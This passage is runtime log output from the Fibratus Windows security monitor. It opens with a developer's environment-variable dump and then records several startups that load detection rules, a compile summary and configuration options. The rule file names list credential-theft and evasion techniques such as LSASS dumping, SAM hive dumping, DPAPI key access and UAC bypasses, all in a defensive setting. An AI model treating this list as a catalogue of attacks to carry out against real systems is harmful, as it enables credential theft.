Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T20:42:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T20:42:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:42:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:45:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:45:13+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:45:13+01:00 level=info msg=bootstrapping with pid 18532. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:45:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true enable-handle=>false flush-interval=>1s enable-fileio=>true enable-thread=>true min-buffers=>16 max-buffers=>36 enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-audit-api=>true enable-threadpool=>false buffer-size=>512 enable-mem=>false enable-net=>true enable-image=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text max-backups=>15 max-size=>100 level=>info log-stdout=>true] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 exchange-type=>topic vhost=>/ exchange=>fibratus enabled=>false durable=>false passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false method=>POST endpoints=>[] serializer=>json enabled=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ enabled=>false gzip-compression=>false trace-log=>false template-name=>fibratus healthcheck-timeout=>5s bulk-workers=>1 healthcheck=>true timeout=>5s flush-period=>1s index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s sniff=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-registry=>false fastscan=>true enabled=>false skip-files=>false excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:45:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:45:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:45:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T20:45:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:45:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:46:08+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:46:08+01:00 level=info msg=loading rule from 